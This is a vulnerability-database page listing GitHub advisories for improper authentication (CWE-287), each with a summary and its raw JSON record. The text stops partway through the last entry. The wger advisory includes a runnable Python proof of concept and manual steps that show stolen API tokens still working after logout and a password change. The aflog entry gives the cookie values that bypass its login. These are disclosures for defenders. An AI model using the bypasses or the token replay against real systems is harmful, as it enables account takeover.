Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

API response cwe.mitre.org

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

6877 vulnerabilities reference this CWE, most recent first.

GHSA-V3V4-H24M-3CR8

Vulnerability from github – Published: 2024-06-11 12:31 – Updated: 2025-09-27 00:30
VLAI
Details

A vulnerability has been identified in PowerSys (All versions < V3.11). The affected application insufficiently protects responses to authentication requests. This could allow a local attacker to bypass authentication, thereby gaining administrative privileges for the managed remote devices.

Severity
9.3 (Critical)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
8.5 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-36266"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-11T12:15:18Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability has been identified in PowerSys (All versions \u003c V3.11). The affected application insufficiently protects responses to authentication requests. This could allow a local attacker to bypass authentication, thereby gaining administrative privileges for the managed remote devices.",
  "id": "GHSA-v3v4-h24m-3cr8",
  "modified": "2025-09-27T00:30:28Z",
  "published": "2024-06-11T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36266"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-024584.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-V3X9-6GG8-C2C9

Vulnerability from github – Published: 2026-10-07 13:59 – Updated: 2026-10-07 13:59
VLAI
Summary
wger: API credentials remain valid after logout/password change
Details

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials: - Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens. - Password change updates the password hash, but does not revoke: - existing DRF tokens stored in authtoken_token - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

  • wger/wger/core/views/user.py (logout implementation)
  • wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
  • wger/settings/main.py (commonly used production defaults for JWT lifetimes)
  • wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account.
  2. Obtain a JWT refresh token:
  3. POST /api/v2/token with username/password.
  4. Obtain a DRF token (API key):
  5. use /user/api-key (or create token via admin/DB in a test environment).
  6. Change password:
  7. POST /<lang>/user/password/change with old_password, new_password1, new_password2.
  8. Prove token replay:
  9. Call a private endpoint using the old DRF token (should still return 200).
  10. Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
        "/api/v2/token",
        {"username": username, "password": new_pw},
        format="json",
    )

    # DRF token remains valid (private endpoint still accessible)
    api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}")
    r_drf = api.get("/api/v2/weightentry/")

    # Old refresh remains valid (still mints a new access token)
    api.credentials()
    r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

    out = {
        "jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()),
        "jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()),
        "jwt_obtain_oldpw_before_change": r_obtain.status_code,
        "password_change_status": r_pw.status_code,
        "jwt_obtain_oldpw_after_change": r_obtain_old.status_code,
        "jwt_obtain_newpw_after_change": r_obtain_new.status_code,
        "drf_token_private_api_after_change": r_drf.status_code,
        "jwt_refresh_with_old_refresh_after_change": r_refresh.status_code,
        "jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())),
    }

    print(json.dumps(out, indent=2))


if __name__ == "__main__":
    main()

Expected output (example from a successful run):

{
  "jwt_refresh_lifetime_seconds": 86400,
  "jwt_access_lifetime_seconds": 900,
  "jwt_obtain_oldpw_before_change": 200,
  "password_change_status": 302,
  "jwt_obtain_oldpw_after_change": 401,
  "jwt_obtain_newpw_after_change": 200,
  "drf_token_private_api_after_change": 200,
  "jwt_refresh_with_old_refresh_after_change": 200,
  "jwt_refresh_response_keys": [
    "access"
  ]
}

Impact

A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access. - Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used). - Integrity: attacker can perform any API mutations permitted to the victim’s account.

Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-613"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T13:59:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA vulnerability exists in the authentication/session lifecycle of `wger` where **bearer-style API credentials** remain valid **after a user logs out and after a user changes their password**. An attacker who steals a victim\u2019s **DRF authtoken** (`Authorization: Token ...`) or **JWT refresh token** can continue to access protected `/api/v2/*` endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh).\nlifecycle events do not revoke these credentials:\n- **Logout** (`/user/logout`) only clears the Django session cookie via `django_logout()` and does not revoke API tokens.\n- **Password change** updates the password hash, but does not revoke:\n  - existing DRF tokens stored in `authtoken_token`\n  - existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.\n\n\n#### Vulnerable Files\n\n- `wger/wger/core/views/user.py` (logout implementation)\n- `wger/settings/settings_global.py` (DRF auth configuration, SimpleJWT defaults)\n- `wger/settings/main.py` (commonly used production defaults for JWT lifetimes)\n- `wger/wger/utils/api_token.py` (authtoken rotation is manual only)\n\n### PoC (Proof of Concept)\n\n#### Manual Exploitation Steps\n\n1. Create a user account.\n2. Obtain a JWT refresh token:\n   - `POST /api/v2/token` with username/password.\n3. Obtain a DRF token (API key):\n   - use `/user/api-key` (or create token via admin/DB in a test environment).\n4. Change password:\n   - `POST /\u003clang\u003e/user/password/change` with `old_password`, `new_password1`, `new_password2`.\n5. Prove token replay:\n   - Call a private endpoint using the *old* DRF token (should still return `200`).\n   - Call `POST /api/v2/token/refresh` using the *old* refresh token (should still return `200` and a new access token).\n\n#### Automation PoC (Python)\n\nCopy/paste runnable PoC (Django in-process test client; no dev server required):\n\n```python\nimport json\nimport os\n\n\ndef main() -\u003e None:\n    \"\"\"\n    PoC for IDENTITY-VULN-01:\n    Proves that password change does not revoke:\n      - DRF authtoken (Authorization: Token \u003ckey\u003e)\n      - JWT refresh tokens (still mint access tokens)\n\n    This PoC runs entirely in-process using Django\u0027s test client + DRF APIClient.\n    It does not require running the dev server.\n    \"\"\"\n\n    os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"settings.main\")\n    # Ensure we use the local sqlite DB path used during setup\n    os.environ.setdefault(\"DJANGO_DB_DATABASE\", \"db.sqlite3\")\n    os.environ.setdefault(\"DJANGO_MEDIA_ROOT\", \"media\")\n\n    import django\n\n    django.setup()\n\n    from django.conf import settings\n    from django.contrib.auth.models import User\n    from django.test import Client\n    from rest_framework.authtoken.models import Token\n    from rest_framework.test import APIClient\n\n    username = \"pwchange_user_poc\"\n    old_pw = \"OldPassw0rd!\"\n    new_pw = \"NewPassw0rd!\"\n\n    # Create a clean user + DRF token\n    User.objects.filter(username=username).delete()\n    user = User.objects.create_user(username=username, password=old_pw)\n    Token.objects.filter(user=user).delete()\n    drf_token = Token.objects.create(user=user).key\n\n    api = APIClient()\n\n    # Obtain JWT tokens with old password (proof baseline)\n    r_obtain = api.post(\"/api/v2/token\", {\"username\": username, \"password\": old_pw}, format=\"json\")\n    refresh = getattr(r_obtain, \"data\", {}).get(\"refresh\")\n\n    # Change password through the actual password change endpoint\n    web = Client()\n    web.force_login(user)\n    r_pw = web.post(\n        \"/en/user/password/change\",\n        data={\"old_password\": old_pw, \"new_password1\": new_pw, \"new_password2\": new_pw},\n        follow=False,\n    )\n\n    # Old password should fail now (sanity check)\n    r_obtain_old = api.post(\n        \"/api/v2/token\",\n        {\"username\": username, \"password\": old_pw},\n        format=\"json\",\n    )\n\n    # New password should work\n    r_obtain_new = api.post(\n        \"/api/v2/token\",\n        {\"username\": username, \"password\": new_pw},\n        format=\"json\",\n    )\n\n    # DRF token remains valid (private endpoint still accessible)\n    api.credentials(HTTP_AUTHORIZATION=f\"Token {drf_token}\")\n    r_drf = api.get(\"/api/v2/weightentry/\")\n\n    # Old refresh remains valid (still mints a new access token)\n    api.credentials()\n    r_refresh = api.post(\"/api/v2/token/refresh\", {\"refresh\": refresh}, format=\"json\")\n\n    out = {\n        \"jwt_refresh_lifetime_seconds\": int(settings.SIMPLE_JWT[\"REFRESH_TOKEN_LIFETIME\"].total_seconds()),\n        \"jwt_access_lifetime_seconds\": int(settings.SIMPLE_JWT[\"ACCESS_TOKEN_LIFETIME\"].total_seconds()),\n        \"jwt_obtain_oldpw_before_change\": r_obtain.status_code,\n        \"password_change_status\": r_pw.status_code,\n        \"jwt_obtain_oldpw_after_change\": r_obtain_old.status_code,\n        \"jwt_obtain_newpw_after_change\": r_obtain_new.status_code,\n        \"drf_token_private_api_after_change\": r_drf.status_code,\n        \"jwt_refresh_with_old_refresh_after_change\": r_refresh.status_code,\n        \"jwt_refresh_response_keys\": sorted(list(getattr(r_refresh, \"data\", {}).keys())),\n    }\n\n    print(json.dumps(out, indent=2))\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\nExpected output (example from a successful run):\n\n```json\n{\n  \"jwt_refresh_lifetime_seconds\": 86400,\n  \"jwt_access_lifetime_seconds\": 900,\n  \"jwt_obtain_oldpw_before_change\": 200,\n  \"password_change_status\": 302,\n  \"jwt_obtain_oldpw_after_change\": 401,\n  \"jwt_obtain_newpw_after_change\": 200,\n  \"drf_token_private_api_after_change\": 200,\n  \"jwt_refresh_with_old_refresh_after_change\": 200,\n  \"jwt_refresh_response_keys\": [\n    \"access\"\n  ]\n}\n```\n\n### Impact\nA user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker\u0027s copy of the token remains fully valid.\nIf an attacker obtains a victim\u2019s API credential once, the victim\u2019s primary remediation actions (**logout** and **password change**) do not terminate attacker access.\n- **Confidentiality:** attacker retains access to victim\u2019s private API data (depends on endpoints used).\n- **Integrity:** attacker can perform any API mutations permitted to the victim\u2019s account.",
  "id": "GHSA-v3x9-6gg8-c2c9",
  "modified": "2026-10-07T13:59:11Z",
  "published": "2026-10-07T13:59:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-v3x9-6gg8-c2c9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/releases/tag/2.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger: API credentials remain valid after logout/password change"
}

GHSA-V44R-R7PP-7R2W

Vulnerability from github – Published: 2023-01-23 15:30 – Updated: 2025-04-02 18:30
VLAI
Details

ONLYOFFICE all versions as of 2021-11-08 is affected by Incorrect Access Control. An authentication bypass in the document editor allows attackers to edit documents without authentication.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-43447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-23T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "ONLYOFFICE all versions as of 2021-11-08 is affected by Incorrect Access Control. An authentication bypass in the document editor allows attackers to edit documents without authentication.",
  "id": "GHSA-v44r-r7pp-7r2w",
  "modified": "2025-04-02T18:30:39Z",
  "published": "2023-01-23T15:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43447"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ONLYOFFICE/server"
    },
    {
      "type": "WEB",
      "url": "https://labs.nettitude.com/blog/exploiting-onlyoffice-web-sockets-for-unauthenticated-remote-code-execution"
    },
    {
      "type": "WEB",
      "url": "https://www.onlyoffice.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V455-6VJ4-3HR7

Vulnerability from github – Published: 2022-05-17 00:46 – Updated: 2022-05-17 00:46
VLAI
Details

aflog 1.01 allows remote attackers to bypass authentication and gain administrative access by setting the aflog_auth_a cookie to "A" or "O" in (1) edit_delete.php, (2) edit_cat.php, (3) edit_lock.php, and (4) edit_form.php.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2008-4784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-10-29T14:22:00Z",
    "severity": "HIGH"
  },
  "details": "aflog 1.01 allows remote attackers to bypass authentication and gain administrative access by setting the aflog_auth_a cookie to \"A\" or \"O\" in (1) edit_delete.php, (2) edit_cat.php, (3) edit_lock.php, and (4) edit_form.php.",
  "id": "GHSA-v455-6vj4-3hr7",
  "modified": "2022-05-17T00:46:19Z",
  "published": "2022-05-17T00:46:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4784"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46083"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6818"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/4524"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/31894"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V46J-H43H-RWRM

Vulnerability from github – Published: 2024-10-25 19:21 – Updated: 2024-11-15 01:00
VLAI
Summary
Autolab Misconfigured Reset Password Permissions
Details

Impact

For email-based accounts, users with insufficient privileges could reset and theoretically access privileged users' accounts by resetting their passwords.

Patches

This is fixed in v3.0.1.

Workarounds

No workarounds.

For more information

If you have any questions or comments about this advisory:

Open an issue in https://github.com/autolab/Autolab/ Email us at autolab-dev@andrew.cmu.edu

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "Autolab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-49376"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-25T19:21:43Z",
    "nvd_published_at": "2024-10-25T13:15:17Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nFor email-based accounts, users with insufficient privileges could reset and theoretically access privileged users\u0027 accounts by resetting their passwords.\n\n### Patches\nThis is fixed in v3.0.1.\n\n### Workarounds\nNo workarounds.\n\n### For more information\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/autolab/Autolab/\nEmail us at [autolab-dev@andrew.cmu.edu](mailto:autolab-dev@andrew.cmu.edu)\n",
  "id": "GHSA-v46j-h43h-rwrm",
  "modified": "2024-11-15T01:00:12Z",
  "published": "2024-10-25T19:21:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/autolab/Autolab/security/advisories/GHSA-v46j-h43h-rwrm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-49376"
    },
    {
      "type": "WEB",
      "url": "https://github.com/autolab/Autolab/commit/301689ab5c5e39d13bab47b71eaf8998d04bcc9b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/autolab/Autolab"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Autolab Misconfigured Reset Password Permissions"
}

GHSA-V472-Q69Q-PWF9

Vulnerability from github – Published: 2022-05-24 19:14 – Updated: 2022-05-24 19:14
VLAI
Details

XSS Hunter Express before 2021-09-17 does not properly enforce authentication requirements for paths.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-41317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-17T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "XSS Hunter Express before 2021-09-17 does not properly enforce authentication requirements for paths.",
  "id": "GHSA-v472-q69q-pwf9",
  "modified": "2022-05-24T19:14:56Z",
  "published": "2022-05-24T19:14:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41317"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mandatoryprogrammer/xsshunter-express/commit/56bb44ed9024849f64173f71583ecb7d873baba0"
    },
    {
      "type": "WEB",
      "url": "https://docs.google.com/document/d/12rq4YIFZLSmZlEsq7d7hYCI1qO5xyIxA1Wrs1m4y9-4/preview"
    },
    {
      "type": "WEB",
      "url": "https://vuln.ryotak.me/advisories/57"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-V494-P7P8-9C4W

Vulnerability from github – Published: 2022-05-13 01:18 – Updated: 2022-05-13 01:18
VLAI
Details

Honor 8,Honor V8,Honor 9,Honor V9,Nova 2,Nova 2 Plus,P9,P10 Plus,Toronto Huawei smart phones with software of versions earlier than FRD-AL00C00B391, versions earlier than FRD-DL00C00B391, versions earlier than KNT-AL10C00B391, versions earlier than KNT-AL20C00B391, versions earlier than KNT-UL10C00B391, versions earlier than KNT-TL10C00B391, versions earlier than Stanford-AL00C00B175, versions earlier than Stanford-AL10C00B175, versions earlier than Stanford-TL00C01B175, versions earlier than Duke-AL20C00B191, versions earlier than Duke-TL30C01B191, versions earlier than Picasso-AL00C00B162, versions earlier than Picasso-TL00C01B162 , versions earlier than Barca-AL00C00B162, versions earlier than Barca-TL00C00B162, versions earlier than EVA-AL10C00B396SP03, versions earlier than EVA-CL00C92B396, versions earlier than EVA-DL00C17B396, versions earlier than EVA-TL00C01B396 , versions earlier than Vicky-AL00AC00B172, versions earlier than Toronto-AL00AC00B191, versions earlier than Toronto-TL10C01B191 have an unlock code verification bypassing vulnerability. An attacker with the root privilege of a mobile can exploit this vulnerability to bypass the unlock code verification and unlock the mobile phone bootloader.

Severity
6.2 (Medium)
CVSS:3.0/AV:P/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-8214"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-22T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "Honor 8,Honor V8,Honor 9,Honor V9,Nova 2,Nova 2 Plus,P9,P10 Plus,Toronto Huawei smart phones with software of versions earlier than FRD-AL00C00B391, versions earlier than FRD-DL00C00B391, versions earlier than KNT-AL10C00B391, versions earlier than KNT-AL20C00B391, versions earlier than KNT-UL10C00B391, versions earlier than KNT-TL10C00B391, versions earlier than Stanford-AL00C00B175, versions earlier than Stanford-AL10C00B175, versions earlier than Stanford-TL00C01B175, versions earlier than Duke-AL20C00B191, versions earlier than Duke-TL30C01B191, versions earlier than Picasso-AL00C00B162, versions earlier than Picasso-TL00C01B162 , versions earlier than Barca-AL00C00B162, versions earlier than Barca-TL00C00B162, versions earlier than EVA-AL10C00B396SP03, versions earlier than EVA-CL00C92B396, versions earlier than EVA-DL00C17B396, versions earlier than EVA-TL00C01B396 , versions earlier than Vicky-AL00AC00B172, versions earlier than Toronto-AL00AC00B191, versions earlier than Toronto-TL10C01B191 have an unlock code verification bypassing vulnerability. An attacker with the root privilege of a mobile can exploit this vulnerability to bypass the unlock code verification and unlock the mobile phone bootloader.",
  "id": "GHSA-v494-p7p8-9c4w",
  "modified": "2022-05-13T01:18:22Z",
  "published": "2022-05-13T01:18:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-8214"
    },
    {
      "type": "WEB",
      "url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20170807-01-smartphone-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:P/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V49P-M6GH-747C

Vulnerability from github – Published: 2024-12-13 06:30 – Updated: 2025-02-21 16:08
VLAI
Summary
djoser Authentication Bypass
Details

Versions of the package djoser before 2.3.0 are vulnerable to Authentication Bypass when the authenticate() function fails. This is because the system falls back to querying the database directly, granting access to users with valid credentials, and eventually bypassing custom authentication checks such as two-factor authentication, LDAP validations, or requirements from configured AUTHENTICATION_BACKENDS.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "djoser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-21543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-295"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-13T20:37:27Z",
    "nvd_published_at": "2024-12-13T05:15:07Z",
    "severity": "HIGH"
  },
  "details": "Versions of the package djoser before 2.3.0 are vulnerable to Authentication Bypass when the authenticate() function fails. This is because the system falls back to querying the database directly, granting access to users with valid credentials, and eventually bypassing custom authentication checks such as two-factor authentication, LDAP validations, or requirements from configured AUTHENTICATION_BACKENDS.",
  "id": "GHSA-v49p-m6gh-747c",
  "modified": "2025-02-21T16:08:48Z",
  "published": "2024-12-13T06:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21543"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sunscrapers/djoser/issues/795"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sunscrapers/djoser/pull/819"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sunscrapers/djoser/commit/d33c3993c0c735f23cbedc60fa59fce69354f19d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/djoser/PYSEC-2024-158.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sunscrapers/djoser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sunscrapers/djoser/releases/tag/2.3.0"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/02/msg00023.html"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-PYTHON-DJOSER-8366540"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "djoser Authentication Bypass"
}

GHSA-V4C8-F47V-CJ2H

Vulnerability from github – Published: 2025-08-20 18:30 – Updated: 2025-08-21 15:30
VLAI
Details

JeeWMS 771e4f5d0c01ffdeae1671be4cf102b73a3fe644 (2025-05-19) contains incorrect authentication bypass vulnerability, which can lead to arbitrary file reading.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-50901"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-20T17:15:36Z",
    "severity": "CRITICAL"
  },
  "details": "JeeWMS 771e4f5d0c01ffdeae1671be4cf102b73a3fe644 (2025-05-19) contains incorrect authentication bypass vulnerability, which can lead to arbitrary file reading.",
  "id": "GHSA-v4c8-f47v-cj2h",
  "modified": "2025-08-21T15:30:33Z",
  "published": "2025-08-20T18:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50901"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/erzhongxmu/JEEWMS/issues/IC8RPM"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V4HM-XQRG-4QFP

Vulnerability from github – Published: 2023-05-10 06:30 – Updated: 2024-04-04 03:58
VLAI
Details

Authentication bypass vulnerability in NEXT ENGINE Integration Plugin (for EC-CUBE 2.0 series) all versions allows a remote unauthenticated attacker to alter the information stored in the system.

Severity
